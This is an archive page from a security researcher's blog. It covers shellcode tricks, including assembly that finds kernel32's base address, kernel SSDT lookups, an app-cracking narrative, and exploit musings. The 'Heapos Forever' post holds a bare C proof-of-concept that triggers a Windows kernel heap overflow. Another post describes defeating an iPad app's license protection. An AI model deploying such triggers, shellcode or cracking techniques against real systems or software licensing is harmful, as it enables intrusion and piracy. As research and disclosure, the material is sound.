Archive for the ‘Security’ Category

Exploiting Android Stagefright with ASLR Bypass

Friday, March 4th, 2016

Everybody knows that exploiting remote code execution vulnerabilities is a real challenge. Rumors say it that some entities around the world managed to do it but AFAIK, nobody published anything, as they might use it for gathering intelligence. Israeli NorthBit security consultancy company researched the vulnerability and managed to bypass the ASLR through exploiting the bug using a browser on Android 5.0 and 5.1 for Samsung devices.

For more details see http://tinyurl.com/h4deqjg

Kernel Exploits

Monday, November 21st, 2011

Hey

I’m uploading a presentation of a good friend, Gilad Bakas, who has just spoken in Ruxcon in Australia.

Get it now: Kernel Exploits

Enjoy

isX64 Gem

Wednesday, July 13th, 2011

I needed a multi-arch shellcode for both x86 and x64 in the same code. Suppose you want to attack a platform, which can either be x86 or x64 where you don’t know in advance which it is. The problem is which version you really need to use at runtime then, right?

This is a tiny trick I’ve been using for a long while now which tells whether you run on x64 or not:

XOR EAX, EAX
INC EAX ; = DB 0x40
NOP
JZ x64_code
x86_code:
bits 32
.
.
.
RET
x64_code:
bits 64
.
.
 

The idea is very simple, since x64 and x86 share most opcodes’ values, there is a small in-similarity with the range of 0x40-0x50, in x86 it used for one byte INC and DEC opcodes. Since there’re 8 GPRs (General Purpose Register), and 2 opcodes, it spans over the whole range of 0x40-0x50.
Now when AMD64’s ISA (Instruction Set Architecture) was designed, they added another set of 8 GPRs, making it a total of whopping 16 GPRs. In a world where x86 ruled, you only needed 3 bits in the ModRM byte (some byte in the instruction that tells the processor how to read its operands) to access a specific register from 0 to 8. With the new ISA, an extra bit was required in order to be able to address all 16 registers. Therefore, a new prefix (called the REX prefix) was added to solve this problem with an extra bit (and there’s more to it, not relevant for now). The new prefix used the range of 0x40-0x50, thus eliminating old one byte INC/DEC (no worries however, now compilers use the 2 bytes existent variation for these instructions).

Back to our assembly code, it depends on the fact that in x86 the INC EAX, really increments EAX by one, and so it will become 1 if the code runs on x86. And when it’s run on x64, it becomes a prefix to the NOP instruction, which doesn’t do anything anyway. And hence, EAX stays zero. Just a final note for the inexperienced that in x64, operations on 32 bit registers are automatically promoted to 64 bit registers, so RAX is also 0.

Finding Kernel32 Base Address Shellcode

Thursday, July 7th, 2011

Yet another one…
This time, smaller, more correct, and still null-free.
I looked a bit at some shellcodes at exploit-db and googled too, to see whether anyone got a smaller way to no avail.

I based my code on:
http://skypher.com/index.php/2009/07/22/shellcode-finding-kernel32-in-windows-7/
AFAIK, who based his post on:
http://blog.harmonysecurity.com/2009_06_01_archive.html

And this is my version:

00000000 (02) 6a30                     PUSH 0x30
00000002 (01) 5e                       POP ESI
; Use DB 0x64; LODSD
00000003 (02) 64ad                     LODS EAX, [FS:ESI]
00000005 (03) 8b700c                   MOV ESI, [EAX+0xc]
00000008 (03) 8b761c                   MOV ESI, [ESI+0x1c]
0000000b (03) 8b5608                   MOV EDX, [ESI+0x8]
0000000e (04) 807e1c18                 CMP BYTE [ESI+0x1c], 0x18
00000012 (02) 8b36                     MOV ESI, [ESI]
00000014 (02) 75f5                     JNZ 0xb
 

The tricky part was how to read from FS:0x30, and the way I use is the smallest one, at least from what I checked.
Another issue that was fixed is the check for kernel32.dll, usually the variation of this shellcode checks for a null byte, but it turned out to be bogous on W2k machines, so it was changed to check for a null word. Getting the shellcode by a byte or two longer.

This way, it’s only 22 bytes, it doesn’t assume that kernel32.dll is the second/third entry in the list, it actually loops till it finds the correct module length (len of ‘kernel32.dll’ * 2 bytes). Also since kernelbase.dll can come first and that renders lots of implementations of this technique unusable.
And obviously the resulting base address of kernel32.dll is in EDX.

Enjoy

[Update July 9th:]
Here’s a link to an explanation about PEB/LDR lists.
See first comment for a better version which is only 17 bytes.

Calling System Service APIs in Kernel

Wednesday, January 26th, 2011

In this post I am not going to shed any new light about this topic, but I didn’t find anything like this organized in one place, so I decided to write it down, hope you will find it useful.

Sometimes when you develop a kernel driver you need to use some internal API that cannot be accessed normally through the DDK. Though you may say “but it’s not an API if it’s not officially exported and supported by MS”. Well that’s kinda true, the point is that some functions like that which are not accessible from the kernel, are really accessible from usermode, hence they are called API. After all, if you can call NtCreateFile from usermode, eventually you’re supposed to be able to do that from kernel, cause it really happens in kernel, right? Obviously, NtCreateFile is an official API in the kernel too.

When I mean using system service APIs, I really mean by doing it platform/version independent, so it will work on all versions of Windows. Except when MS changes the interface (number of parameters for instance, or their type) to the services themselves, but that rarely happens.

I am not going to explain how the architecture of the SSDT and the transitions from user to kernel or how syscalls, etc work. Just how to use it to our advantage. It is clear that MS doesn’t want you to use some of its APIs in the kernel. But sometimes it’s unavoidable, and using undocumented API is fine with me, even in production(!) if you know how to do it well and as robust as possible, but that’s another story. We know that MS doesn’t want you to use some of these APIs because a) they just don’t export it in kernel on purpose, that is. b) starting with 64 bits versions of Windows they made it harder on purpose to use or manipulate the kernel, by removing previously exported symbols from kernel, we will get to that later on.

Specifically I needed ZwProtectVirtualMemory, because I wanted to change the protection of some page in the user address space. And that function isn’t exported by the DDK, bummer. Now remember that it is accessible to usermode (as VirtualProtectMemory through kernel32.dll syscall…), therefore there ought to be a way to get it (the address of the function in kernel) in a reliable manner inside a kernel mode driver in order to use it too. And this is what I’m going to talk about in this post. I’m going to assume that you already run code in the kernel and that you are a legitimate driver because it’s really going to help us with some exported symbols, not talking about shellcodes here, although shellcodes can use this technique by changing it a bit.

We have a few major tasks in order to achieve our goal: Map the usermode equivalent .dll file. We need to get the index number of the service we want to call. Then we need to get the base address of ntos and the address of the (service) table of pointers (the SSDT itself) to the functions in the kernel. And voila…

The first one is easy both in 32 and 64 bits systems. There are mainly 3 files which make the syscalls in usermode, such as: ntdll, kernel32 and user32 (for GDI calls). For each API you want to call in kernel, you have to know its prototype and in which file you will find it (MSDN supplies some of this or just Google it). The idea is to map the file to the address space as an (executable) image. Note that the cool thing about this mapping is that you will get the address of the required file in usermode. Remember that these files are physically shared among all processes after boot time (For instance, addresses might change because of ASLR but stay consistent as long as the machine is up). Following that we will use a similar functionality to GetProcAddress, but one that you have to write yourself in kernel, which is really easy for PE and PE+ (64 bits).

Alright, so we got the image mapped, we can now get some usermode API function’s address using our GetProcAddress, now what? Well, now we have to get the index number of the syscall we want. Before I continue, this is the right place to say that I’ve seen so many approaches to this problem, disassemblers, binary patterns matching, etc. And I decided to come up with something really simple and maybe new. You take two functions that you know for sure that are going to be inside kernel32.dll (for instance), say, CreateFile and CloseHandle. And then simply compare byte after byte from both functions to find the first different byte, that byte contains the index number of the syscall (or the low byte out of the 4 bytes integer really). Probably you have no idea what I’m talking about, let me show you some usermode API’s that directly do syscalls:

XP SP3 ntdll.dll
B8 25 00 00 00                    mov     eax, 25h        ; NtCreateFile
BA 00 03 FE 7F                    mov     edx, 7FFE0300h
FF 12                             call    dword ptr [edx]
C2 2C 00                          retn    2Ch

B8 19 00 00 00                    mov     eax, 19h        ; NtClose
BA 00 03 FE 7F                    mov     edx, 7FFE0300h
FF 12                             call    dword ptr [edx]
C2 04 00                          retn    4

Vista SP1 32 bits ntdll.dll

B8 3C 00 00 00                    mov     eax, 3Ch        ; NtCreateFile
BA 00 03 FE 7F                    mov     edx, 7FFE0300h
FF 12                             call    dword ptr [edx]
C2 2C 00                          retn    2Ch

B8 30 00 00 00                    mov     eax, 30h        ; NtClose
BA 00 03 FE 7F                    mov     edx, 7FFE0300h
FF 12                             call    dword ptr [edx]
C2 04 00                          retn    4

Vista SP2 64 bits ntdll.dll

4C 8B D1                          mov     r10, rcx        ; NtCreateFile
B8 52 00 00 00                    mov     eax, 52h
0F 05                             syscall
C3                                retn

4C 8B D1                          mov     r10, rcx        ; NtClose
B8 0C 00 00 00                    mov     eax, 0Ch
0F 05                             syscall
C3                                retn

2008 sp2 64 bits ntdll.dll

4C 8B D1                          mov     r10, rcx        ; NtCreateFile
B8 52 00 00 00                    mov     eax, 52h
0F 05                             syscall
C3                                retn

4C 8B D1                          mov     r10, rcx        ; NtClose
B8 0C 00 00 00                    mov     eax, 0Ch
0F 05                             syscall
C3                                retn

Win7 64bits syswow64 ntdll.dll

B8 52 00 00 00                    mov     eax, 52h        ; NtCreateFile
33 C9                             xor     ecx, ecx
8D 54 24 04                       lea     edx, [esp+arg_0]
64 FF 15 C0 00 00+                call    large dword ptr fs:0C0h
83 C4 04                          add     esp, 4
C2 2C 00                          retn    2Ch

B8 0C 00 00 00                    mov     eax, 0Ch        ; NtClose
33 C9                             xor     ecx, ecx
8D 54 24 04                       lea     edx, [esp+arg_0]
64 FF 15 C0 00 00+                call    large dword ptr fs:0C0h
83 C4 04                          add     esp, 4
C2 04 00                          retn    4

These are a few snippets to show you how the syscall function templates look like. They are generated automatically by some tool MS wrote and they don’t change a lot as you can see from the various architectures I gathered here. Anyway, if you take a look at the bytes block of each function, you will see that you can easily spot the correct place where you can read the index of the syscall we are going to use. That’s why doing a diff on two functions from the same .dll would work well and reliably. Needless to say that we are going to use the index number we get with the table inside the kernel in order to get the corresponding function in the kernel.

This technique gives us the index number of the syscall of any exported function in any one of the .dlls mentioned above. This is valid both for 32 and 64 bits. And by the way, notice that the operand type (=immediate) that represents the index number is always a 4 bytes integer (dword) in the ‘mov’ instruction, just makes life easier.

To the next task, in order to find the base address of the service table or what is known as the system service descriptor table (in short SSDT), we will have to get the base address of the ntoskrnl.exe image first. There might be different kernel image loaded in the system (with or without PAE, uni-processor or multi-processor), but it doesn’t matter in the following technique I’m going to use, because it’s based on memory and not files… This task is really easy when you are a driver, means that if you want some exported symbol from the kernel that the DDK supplies – the PE loader will get it for you. So it means we get, without any work, the address of any function like NtClose or NtCreateFile, etc. Both are inside ntos, obviously. Starting with that address we will round down the address to the nearest page and scan downwards to find an ‘MZ’ signature, which will mark the base address of the whole image in memory. If you’re afraid from false positives using this technique you’re welcome to go further and check for a ‘PE’ signature, or use other techniques.

This should do the trick:

PVOID FindNtoskrnlBase(PVOID Addr)
{
    /// Scandown from a given symbol’s address.
    Addr = (PVOID)((ULONG_PTR)Addr & ~0xfff);
    __try {
        while ((*(PUSHORT)Addr != IMAGE_DOS_SIGNATURE)) {
            Addr = (PVOID) ((ULONG_PTR)Addr – PAGE_SIZE);
        }
        return Addr;
    }
    __except(1) { }
    return NULL;
}

And you can call it with a parameter like FindNtoskrnlBase(ZwClose). This is what I meant that you know the address of ZwClose or any other symbol in the image which will give you some “anchor”.

After we got the base address of ntos, we need to retrieve the address of the service table in kernel. That can be done using the same GetProcAddress we used earlier on the mapped user mode .dll files. But this time we will be looking for the “KeServiceDescriptorTable” exported symbol.

So far you can see that we got anchors (what I call for a reliable way to get an address of anything in memory) and we are good to go, this will work in production without the need to worry. If you wanna start the flame war about the unlegitimate use of undocumented APIs, etc. I’m clearly not interested. :)
Anyway, in Windows 32 bits, the latter symbol is exported, but it is not exported in 64 bits! This is part of the PatchGuard system, to make life harder for rootkits, 3rd party drivers doing exactly what I’m talking about, etc. I’m not going to cover how to get that address in 64 bits in this post.

The KeServiceDescriptorTable is a table that holds a few pointers to other service tables which contain the real addresses of the service functions the OS supplies to usermode. So a simple dereference to the table and you get the pointer to the first table which is the one you are looking for. Using that pointer, which is really the base address of the pointers table, you use the index we read earlier from the required function and you got, at last, the pointer to that function in kernel, which you can now use.

The bottom line is that now you can use any API that is given to usermode also in kernelmode and you’re not limited to a specific Windows version, nor updates, etc. and you can do it in a reliable manner which is the most important thing. Also we didn’t require any special algorithms nor disassemblers (as much as I like diStorm…). Doing so in shellcodes make life a bit harder, because we had the assumption that we got some reliable way to find the ntos base address. But every kid around the block knows it’s easy to do it anyway.

Happy coding :)

References I found interesting about this topic:
http://j00ru.vexillium.org/?p=222
http://alter.org.ua/docs/nt_kernel/procaddr/

http://uninformed.org/index.cgi?v=3&a=4&p=5

And how to do it in 64 bits:

http://www.gamedeception.net/threads/20349-X64-Syscall-Index

New Project – ReviveR

Saturday, September 25th, 2010

Hey all,

long time haven’t posted. I’m kinda busy with lots of stuff.
Anyway I just wanted to let you know that I’m starting to work on the sequel of diStorm, you guessed it right… A reversing studio!
Unlike what many people said, the core is going to be written in C++, the GUI is going to be written per OS. No thanks, QT. Top goals are performance, scripting, good UI and most important good analysis capabilities. Obviously it’s going to be open source, cross platform. For a start, it will support only x86 and AMD64 and PE file format, maybe ELF too, though not my priority. I’m not sure about a debugger yet, but it will probably be implemented later. GUI is going to be written using WPF under C#, just to give you an idea.

My main interests are performance and binary code analysis algorithms.

If there are highly skilled programmers who wish to help, please contact me.
For now it seems we are a group of 4 coders, I’m still not going to publish their names, until everything is settled.

Anyway, design is taking place nowadays. This is your time for suggesting new features and ideas.

Big good luck

diStorm3 is Ready

Monday, August 16th, 2010

diStorm3 is ready for the masses! :)
– if you want to maximize the information you get from a single instruction; Structure output rather than text, flow control analysis support and more!

Check it out now at its new google page.

Good luck!

Heapos Forever

Friday, August 6th, 2010

There are still hippos around us, beware:
heapo

Kernel heap overflow.

DEVMODE dm = {0};
dm.dmSize  = sizeof(DEVMODE);
dm.dmBitsPerPel = 8;
dm.dmPelsWidth = 800;
dm.dmPelsHeight = 600;
dm.dmFields = DM_PELSWIDTH | DM_PELSHEIGHT | DM_BITSPERPEL;
ChangeDisplaySettings(&dm, 0);

BITMAPINFOHEADER bmih = {0};
bmih.biClrUsed = 0x200;

HGLOBAL h = GlobalAlloc(GMEM_FIXED, 0x1000);
memcpy((PVOID)GlobalLock(h), &bmih, sizeof(bmih));
GlobalUnlock(h);

OpenClipboard(NULL);
SetClipboardData(CF_DIBV5, (HANDLE)h);
CloseClipboard();

OpenClipboard(NULL);
GetClipboardData(CF_PALETTE);


[Update, 11th Aug]: Here is MSRC response.

Cracking for Fun and Non-Profit

Saturday, May 22nd, 2010

One of the fun things to do with applications is to bypass their copy-protection mechanisms. So I want to share my experience about some iPad application, though the application is targeted for the Jailbroken devices. It all began a few days ago, when a friend was challenging me to crack some application. I had my motives, and I’m not going to talk about them. However, that’s why the title says non-profit. Or maybe when they always say “for profit” they mean the technical-knowledge profit.

So before you start to crack some application, what you should do is see how it works, what happens when you run it, what GUI related stuff you can see, like dialog boxes or messages that popup, upon some event you fire. There are so many techniques to approach application-cracking, but I’m not here to write a tutorial, just to talk a bit about what I did.

So I fired IDA with the app loaded, the app was quite small, around 35kb. First thing I was doing was to see the imported functions. This is how I know what I’m going to fight with in one glare. I saw MD5/RSA imported from the crypto library, and that was like “oh uh”, but no drama. Thing is, my friend purchased the app and gave me the license file. Obviously it’s easier with a license file, otherwise, sometimes it’s proved that it’s impossible to crack software without critical info that is encrypted in the license file, that was the issue in my case too. Of course, there’s no point in a license file that only checks the serial-number or something like that, because it’s not enough. So without the license file, there wasn’t much to do.

For some reason IDA didn’t like to parse the app well, so I had to recall how to use this ugly API of IDC (the internal scripting language of IDA), yes, I know IDA Python, but didn’t want to use it. So my script was fixing all LDR instructions, cause the code is PICy so with the strings revealed I could easily follow all those ugly objc_msgSend calls. For Apple’s credit, the messages are text based, so it’s easy to understand what’s going on, once you manage to get to that string. For performance’s sake, this is so lame, I rather use integers than strings, com’on.

Luckily the developer of that app didn’t bother to hide the exported list of functions, he was busy with pure protection algorithm in Objective-C, good for me.
So eventually the way the app worked (license perspective) was to check if the license file exists, if so, parse it. Otherwise, ask for a permission to connect to the Internet and send the UDID (unique device ID) of the device to the app’s server, get a response, and if the status code was success, write it to a file, then run the license validator again.

The license validator was quite cool, it was calling dladdr on itself to get the full path of the executable itself, then calculating the MD5 of the binary. Can you see why? So if you thought you could easily tamper with the file, you were wrong. Taking the MD5 hash, and xoring it in some pattern with the data from the license file; Then decrypting the result with the public key that was in the static segment, though I didn’t care much about it. Since the MD5 of the binary itself was used, this dependency is a very clever trick of the developer, though expected. So I tried to learn more about how the protection works.

Suppose the license was legit, the app would take that buffer and strtok() it to tokens, to check that the UDID was correct. The developer was nice enough to call the lockdownd APIs directly, so in one second I knew where and what was going on around it. In the beginning I wanted to create a proxy dylib for this lockdownd library, but it would require me to patch the header of the mach-o so the imported function will be through my new file – but it still requires a change to the file, no good. So the way it worked with the decrypted string – it kept on tokenizing the string, but this time, it checked for some string match, as if someone tampered with the binary, the decryption would go wrong and the string wouldn’t compare well. And then it did some manipulation on some object, adding methods to it in runtime, with the names from the tokenized string, thus if you don’t have a license file to begin with, you don’t know the names of the new methods that were added. One star for the developer, yipi.

All in all, I have to say that I wasn’t using any debugger or runtime tricks, everything was static reversing, yikes. Therefore, after I was convinced that I can’t ignore the protection because I lack of the names of the new methods, and I can’t use a debugger to phish the names easily. I was left with one solution, as I said before – faking the UDID and fixing the MD5.

What I really cared about for a start, was how the app calculates the MD5 of itself:
Since the developer retrieved the name of the binary using dladdr, I couldn’t just change some path to point to the original copy of the binary, so when it hashes it, it would get the expected hash. That was a bammer, I had to do something else, but similar idea… I decided to patch the file-open function. The library functions are called in ARM mode and it’s very clear. The app itself was in THUMB, so it transitions to ARM using a BX instruction and calls a thunk, that in order will call the imported function. So the thunk function is in ARM mode, thus 4 bytes per instruction, very wasteful IMHO.

The goal of my patches was to patch those thunks, rather than all the callers to those thunks. Cause I could end up with a dozen of different places to patch. So I was limited in the patches I could do in a way. So eventually I extended the thunk of the file-open and made R0 register point to my controlled path, where I could guarantee an original copy of the binary, so when it calculated the MD5 of it, it would be the expected hash. Again, I could do so many other things, like planting a new MD5 value in the binary and copy it in the MD5-Final API call, but that required too much code changes. And oh yes, I’m such a jackass that I didn’t even use an Arm-assembler. Pfft, hex-editing FTW :( Oh also, I have to comment that it was safe to patch the thunk of file-open, cause all the callers were related to the MD5 hashing…

Ok, so now I got the MD5 good and I could patch the file however I saw fit. Patching the UDID-strcmp’s wasn’t enough, since the license wasn’t a “yes/no” check, it had essential data I needed, otherwise I could finish with the protection in 1 minute patch (without going to the MD5 hassle). So I didn’t even touch those strcmp’s.

RSA encryption then? Ahhh not so fast, the developer was decrypting the xored license with the resulted MD5 hash, then comparing the UDID, so I got the license decrypted well with the MD5 patch, but now the UDID that was returned from the lockdownd was wrong, wrong because it wasn’t corresponding to the purchased license. So I had to change it as well. The problem with that UDID and the lockdownd API, is that it returns a CFSTR, so I had to wrap it with that annoying structure. That done, I patched the thunk of the lockdown API to simply return my CFSTR of the needed UDID string.

And guess what?? it crashed :) I put my extra code in a __ustring segment, in the beginning I thought the segment wasn’t executable, because it’s a data. But I tried to run something very basic that would work for sure, and it did, so I understood the problem was with my patch. So I had to double check it. Then I found out that I was piggy-backing on the wrong (existing) CFSTR, because I changed its type. Probably some code that was using the patched CFSTR was expecting a different type and therefore crashed, so I piggy-backed a different CFSTR that wouldn’t harm the application and was a similar type to what I needed (Just a string, 0x7c8). What don’t we do when we don’t have segment slacks for our patch code. :)

And then it worked… how surprising, NOT. But it required lots of trial and errors, mind you, because lack of tools mostly.
End of story.
It’s really hard to say how I would design it better, when I had my chance, I was crazy about obfuscation, to make the reverser desperate, so he can’t see a single API call, no strings, nothing. Plant decoy strings, code, functionality, so he wastes more time. Since it’s always possible to bypass the protections, if the CPU can do it, I can do it too, right? (as long as I’m on the same ring).

Trying to Pwn Stuff my way

Saturday, January 30th, 2010

I have been playing CS since 2001 :) Kinda addicted I can say. Like, after I had been in South America for half a year, suddenly I caught myself thinking “ohhh I wish I could play CS”… So I think it means I’m addicted. Anyway I really like that game. A few days ago I was playing on some server and suddenly hl2 crashed. How good is that they generate a crash dump automatically, so I fired up WinDbg and took a look what happened, I found out that some pointer was set to 1, not NULL, mind you. Looking around the crash area I found a buffer overflow on the stack, but only for booleans, so I don’t know what was the point and how it was triggered or who sent it (server or another player). Anyway, since I like this game so much, there is only one thing I don’t like it, the stupid children you play with/against, they curse and TK (team-kill) like noobs. One day I promised to myself that I will pwn those little bastards. Therefore I started to investigate this area of crash, which I won’t say anything about the technical details here, so you won’t be able to replicate it, except that I found a stack buffer overflow. The way from there to pwn the clients who connect to a server I set up is really easy. The down side is that they have to connect to a server I control, which is quite lame, the point is to pwn other players on a remote server, so I still work on that. For me pwning would be to find a way to kick them from the server for instance, I don’t need to execute code on their machines. Besides since I do everything for fun, and I’m not a criminal, I have to mention that it’s for eductional purposes only :) Being the good guy I am, in ZERT and stuff. I just wanted to add that the protocol used to be really hole-y before CS: Source came out, everything was vulnerable, really, you could tell the server that you wanted to upload a file to it (your spray-decal file) with a name longer than 256 characters, and bam, you own the server through a stupid strcpy to a buffer on the stack. But after CSS came out, the guys did a great job and I could hardly find stuff. What I found is in some isoteric parser that the input comes from the server… What was weird is that some functions were protected with a security cookie and some weren’t. I don’t know what configuration those guys use to compile the game, but they surely need to work it out better.

Another thing I’ve been trying to pwn for a long time now, without much success, I have to say, is NTVDM. This piece of software is huge, though most of it is mostly in user-mode, there are lots of related code in kernel. Recently a very crazy bug was found there (which can lead to a privilege escalation), something in the design, of how the kernel transfers control to BIOS code and returns. You can read more here to get a better clue. So it gave me some idea what to do about some potential buggy code I found. Suppose I found a code in the kernel that takes DS:SI and changes it to a flat pointer, the calculation is (DS << 4) + SI. The thing is that DS is 16 bits only. The thing I thought is that with some wizardy I will be able to change DS to have some value above 0xffff. For some of you it might sound impossible, but in 32 bits and playing with pop ds, mov ds, ax and the like, I managed to put random values in the high 16 bits of DS (say it’s a 32 bit segment register). Though I don’t know if WinDbg showed me garbage or how it really worked, or what happened there, I surely saw big values in DS. So since I couldn’t reproduce this behavior in 16 bits under NTVDM, I tried to think of a way to set DS in the VDM Context itself. If you look at the exports of NTVDM you will see a function named “SetDS”, so taking a look of how it works I tried to use it inside my 16 bits code (exploiting some Escape bug I found myself and posted on this blog earlier), I could set DS to whatever arbitary value I wanted. Mind you, I set DS for the VM itself, not the DS of the usermode application of ntvdm.exe. And then I tried to trigger the other part in the kernel which takes my raw pointer and tries to write to it, but DS high 16 bits were zeros. Damn it. Then I gave to it more thought, and understood that what I did is not good enough. This is because once I set DS to some value, then I get to code to execute on the processor for real and then it enters kernel’s trap handler, DS high half gets truncated once again and I lost in the game. So I’m still thinking if it’s spossible. Maybe next step I should try is to invoke the kernel’s trap handler directly with DS set to whatever value I want, but that’s probably not possible since I can’t control the trap frame myself… or maybe I can 😉